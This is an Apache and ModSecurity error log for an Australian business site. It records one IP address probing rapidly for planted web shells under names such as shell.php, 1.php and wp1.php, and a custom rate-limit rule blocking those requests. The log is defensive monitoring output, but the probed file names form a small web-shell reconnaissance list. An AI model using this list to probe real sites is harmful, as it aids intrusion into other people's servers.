[Fri Apr 17 01:39:18.361820 2026] [:error] [pid 43385:tid 43398] [client 172.213.224.11:27594] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeEexsnIxkJaUI8KNs4mFwAAAAk"]
[Fri Apr 17 01:39:18.988865 2026] [:error] [pid 26480:tid 26496] [client 172.213.224.11:27118] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p.php"] [unique_id "aeEexgwLDJKTQNfarA19lgAAAc4"]
[Fri Apr 17 01:39:19.535369 2026] [:error] [pid 3245:tid 3274] [client 172.213.224.11:28100] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeEex6ESOMTHVLs-uFDYjQAAAQw"]
[Fri Apr 17 01:39:20.062603 2026] [:error] [pid 43482:tid 43490] [client 172.213.224.11:27124] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeEeyD9SZnuKxlHrct2kJAAAAMY"]
[Fri Apr 17 01:39:20.899921 2026] [:error] [pid 43386:tid 43438] [client 172.213.224.11:27123] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeEeyO91GAVgUfhPVDHL9wAAAFI"]
[Fri Apr 17 01:39:21.495535 2026] [:error] [pid 43387:tid 43450] [client 172.213.224.11:49886] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aeEeySBNsONqHxWTakU_CAAAAII"]
[Fri Apr 17 01:39:21.985994 2026] [:error] [pid 43386:tid 43422] [client 172.213.224.11:27131] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeEeye91GAVgUfhPVDHL-AAAAEI"]
[Fri Apr 17 01:39:22.618666 2026] [:error] [pid 43385:tid 43395] [client 172.213.224.11:49919] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeEeysnIxkJaUI8KNs4mHAAAAAY"]
[Fri Apr 17 01:39:23.220334 2026] [:error] [pid 26102:tid 26113] [client 172.213.224.11:49619] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeEey_127aFqw6ALdngZOwAAAYg"]
[Fri Apr 17 01:39:23.809940 2026] [:error] [pid 43385:tid 43408] [client 172.213.224.11:27082] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aeEey8nIxkJaUI8KNs4mHwAAABM"]
[Fri Apr 17 01:39:24.410365 2026] [:error] [pid 43387:tid 43474] [client 172.213.224.11:49885] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeEezCBNsONqHxWTakU_CwAAAJU"]
[Fri Apr 17 01:39:24.945297 2026] [:error] [pid 11854:tid 11873] [client 172.213.224.11:49639] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeEezNxJCSIaqP1XSdabtgAAAlA"]
[Fri Apr 17 01:39:25.590553 2026] [:error] [pid 43385:tid 43413] [client 172.213.224.11:27852] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeEezcnIxkJaUI8KNs4mKAAAABc"]
[Fri Apr 17 01:39:26.158215 2026] [:error] [pid 43385:tid 43395] [client 172.213.224.11:27134] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aeEezsnIxkJaUI8KNs4mLwAAAAY"]
[Fri Apr 17 01:39:26.697197 2026] [:error] [pid 43386:tid 43431] [client 172.213.224.11:27641] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeEezu91GAVgUfhPVDHL_gAAAEs"]
[Fri Apr 17 01:39:27.314365 2026] [:error] [pid 26480:tid 26492] [client 172.213.224.11:28111] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeEezwwLDJKTQNfarA19oQAAAco"]
[Fri Apr 17 01:39:28.031946 2026] [:error] [pid 11854:tid 11865] [client 172.213.224.11:49616] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeEe0NxJCSIaqP1XSdabtwAAAkg"]
[Fri Apr 17 01:39:28.839760 2026] [:error] [pid 43386:tid 43433] [client 172.213.224.11:27085] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tea.php"] [unique_id "aeEe0O91GAVgUfhPVDHMBAAAAE0"]
[Fri Apr 17 01:39:29.522996 2026] [:error] [pid 43387:tid 43460] [client 172.213.224.11:17770] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeEe0SBNsONqHxWTakU_DQAAAIk"]
[Fri Apr 17 01:39:30.078275 2026] [:error] [pid 26480:tid 26489] [client 172.213.224.11:27640] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeEe0gwLDJKTQNfarA19pQAAAcc"]
[Fri Apr 17 01:39:30.946902 2026] [:error] [pid 43386:tid 43436] [client 172.213.224.11:49628] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeEe0u91GAVgUfhPVDHMCgAAAFA"]
[Fri Apr 17 01:39:31.569682 2026] [:error] [pid 43385:tid 43398] [client 172.213.224.11:28135] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aeEe08nIxkJaUI8KNs4mQwAAAAk"]
[Fri Apr 17 01:39:32.184421 2026] [:error] [pid 43386:tid 43420] [client 172.213.224.11:49880] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeEe1O91GAVgUfhPVDHMDgAAAEA"]
[Fri Apr 17 01:39:32.728748 2026] [:error] [pid 26480:tid 26493] [client 172.213.224.11:27114] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeEe1AwLDJKTQNfarA19rAAAAcs"]
[Fri Apr 17 01:39:33.500177 2026] [:error] [pid 43385:tid 43393] [client 172.213.224.11:49866] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeEe1cnIxkJaUI8KNs4mRQAAAAQ"]
[Fri Apr 17 01:39:34.089905 2026] [:error] [pid 11854:tid 11877] [client 172.213.224.11:28096] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aeEe1txJCSIaqP1XSdabuwAAAlQ"]
[Fri Apr 17 01:39:34.853491 2026] [:error] [pid 43387:tid 43477] [client 172.213.224.11:27125] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeEe1iBNsONqHxWTakU_EQAAAJg"]
[Fri Apr 17 01:39:35.411636 2026] [:error] [pid 4086:tid 4103] [client 172.213.224.11:49626] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeEe11lz7gxl_exM0FpKPwAAAU8"]
[Fri Apr 17 01:39:35.935841 2026] [:error] [pid 43386:tid 43423] [client 172.213.224.11:49900] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeEe1-91GAVgUfhPVDHMFAAAAEM"]
[Fri Apr 17 01:39:36.816263 2026] [:error] [pid 43386:tid 43437] [client 172.213.224.11:49603] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeEe2O91GAVgUfhPVDHMGgAAAFE"]
[Fri Apr 17 01:39:37.305953 2026] [:error] [pid 43386:tid 43436] [client 172.213.224.11:28151] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeEe2e91GAVgUfhPVDHMIQAAAFA"]
[Fri Apr 17 01:39:37.956327 2026] [:error] [pid 3245:tid 3286] [client 172.213.224.11:49891] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeEe2aESOMTHVLs-uFDYlgAAARg"]
[Fri Apr 17 01:39:38.832424 2026] [:error] [pid 43385:tid 43390] [client 172.213.224.11:27106] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeEe2snIxkJaUI8KNs4mTgAAAAE"]
[Fri Apr 17 01:39:39.564582 2026] [:error] [pid 43385:tid 43408] [client 172.213.224.11:49901] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aeEe28nIxkJaUI8KNs4mUwAAABM"]
[Fri Apr 17 01:39:40.195877 2026] [:error] [pid 43385:tid 43397] [client 172.213.224.11:28101] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeEe3MnIxkJaUI8KNs4mWgAAAAg"]
[Fri Apr 17 01:39:40.748712 2026] [:error] [pid 43385:tid 43412] [client 172.213.224.11:49615] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeEe3MnIxkJaUI8KNs4mXQAAABY"]
[Fri Apr 17 01:39:41.518373 2026] [:error] [pid 43387:tid 43476] [client 172.213.224.11:27087] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aeEe3SBNsONqHxWTakU_EwAAAJc"]
[Fri Apr 17 01:39:42.118823 2026] [:error] [pid 11854:tid 11878] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Fri Apr 17 01:39:42.369050 2026] [:error] [pid 11854:tid 11878] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/3.php
[Fri Apr 17 01:39:42.651661 2026] [:error] [pid 11854:tid 11857] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/4.php
[Fri Apr 17 01:39:42.893054 2026] [:error] [pid 11854:tid 11869] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/5.php
[Fri Apr 17 01:39:43.143405 2026] [:error] [pid 11854:tid 11863] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/6.php
[Fri Apr 17 01:39:43.388900 2026] [:error] [pid 11854:tid 11881] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/9.php
[Fri Apr 17 01:39:43.638312 2026] [:error] [pid 11854:tid 11865] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/10.php
[Fri Apr 17 01:39:43.887367 2026] [:error] [pid 11854:tid 11879] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Fri Apr 17 01:39:44.384731 2026] [:error] [pid 11854:tid 11858] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/f35_S.php
[Fri Apr 17 01:39:44.626286 2026] [:error] [pid 11854:tid 11877] [client 172.213.224.11:28104] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Fri Apr 17 01:39:44.883314 2026] [:error] [pid 11854:tid 11859] [client 172.213.224.11:28104] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeEe4NxJCSIaqP1XSdab1QAAAkI"]
[Fri Apr 17 01:39:45.671060 2026] [:error] [pid 43386:tid 43443] [client 172.213.224.11:49888] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeEe4e91GAVgUfhPVDHMNgAAAFY"]
[Fri Apr 17 01:39:46.658676 2026] [:error] [pid 43386:tid 43428] [client 172.213.224.11:19470] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeEe4u91GAVgUfhPVDHMPgAAAEg"]
[Fri Apr 17 01:39:47.319949 2026] [:error] [pid 43385:tid 43397] [client 172.213.224.11:28130] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aeEe48nIxkJaUI8KNs4mbwAAAAg"]
[Fri Apr 17 01:39:48.158874 2026] [:error] [pid 43386:tid 43445] [client 172.213.224.11:28109] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeEe5O91GAVgUfhPVDHMQQAAAFg"]
[Fri Apr 17 01:39:48.821566 2026] [:error] [pid 4086:tid 4099] [client 172.213.224.11:28142] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeEe5Flz7gxl_exM0FpKSQAAAUs"]
[Fri Apr 17 01:39:49.529686 2026] [:error] [pid 26480:tid 26482] [client 172.213.224.11:27079] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeEe5QwLDJKTQNfarA19ugAAAcA"]
[Fri Apr 17 01:39:50.209077 2026] [:error] [pid 43387:tid 43466] [client 172.213.224.11:49912] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aeEe5iBNsONqHxWTakU_IQAAAI0"]
[Fri Apr 17 01:39:51.049568 2026] [:error] [pid 43386:tid 43429] [client 172.213.224.11:49644] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeEe5-91GAVgUfhPVDHMYAAAAEk"]
[Fri Apr 17 01:39:51.759553 2026] [:error] [pid 26102:tid 26126] [client 172.213.224.11:27074] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeEe5_127aFqw6ALdngZSQAAAZU"]
[Fri Apr 17 01:39:52.566562 2026] [:error] [pid 43386:tid 43443] [client 172.213.224.11:49613] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeEe6O91GAVgUfhPVDHMdAAAAFY"]
[Fri Apr 17 01:39:53.282693 2026] [:error] [pid 3245:tid 3266] [client 172.213.224.11:49637] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aeEe6aESOMTHVLs-uFDYnQAAAQQ"]
[Fri Apr 17 01:39:53.874718 2026] [:error] [pid 26102:tid 26128] [client 172.213.224.11:49904] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeEe6f127aFqw6ALdngZSgAAAZc"]
[Fri Apr 17 01:39:54.491174 2026] [:error] [pid 11692:tid 11709] [client 172.213.224.11:28106] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeEe6s1AYuhm4BZwKNocuQAAAgw"]
[Fri Apr 17 01:39:55.028231 2026] [:error] [pid 26480:tid 26500] [client 172.213.224.11:27627] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeEe6wwLDJKTQNfarA19wgAAAdI"]
[Fri Apr 17 01:39:55.757879 2026] [:error] [pid 26480:tid 26486] [client 172.213.224.11:49863] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aeEe6wwLDJKTQNfarA19xAAAAcQ"]
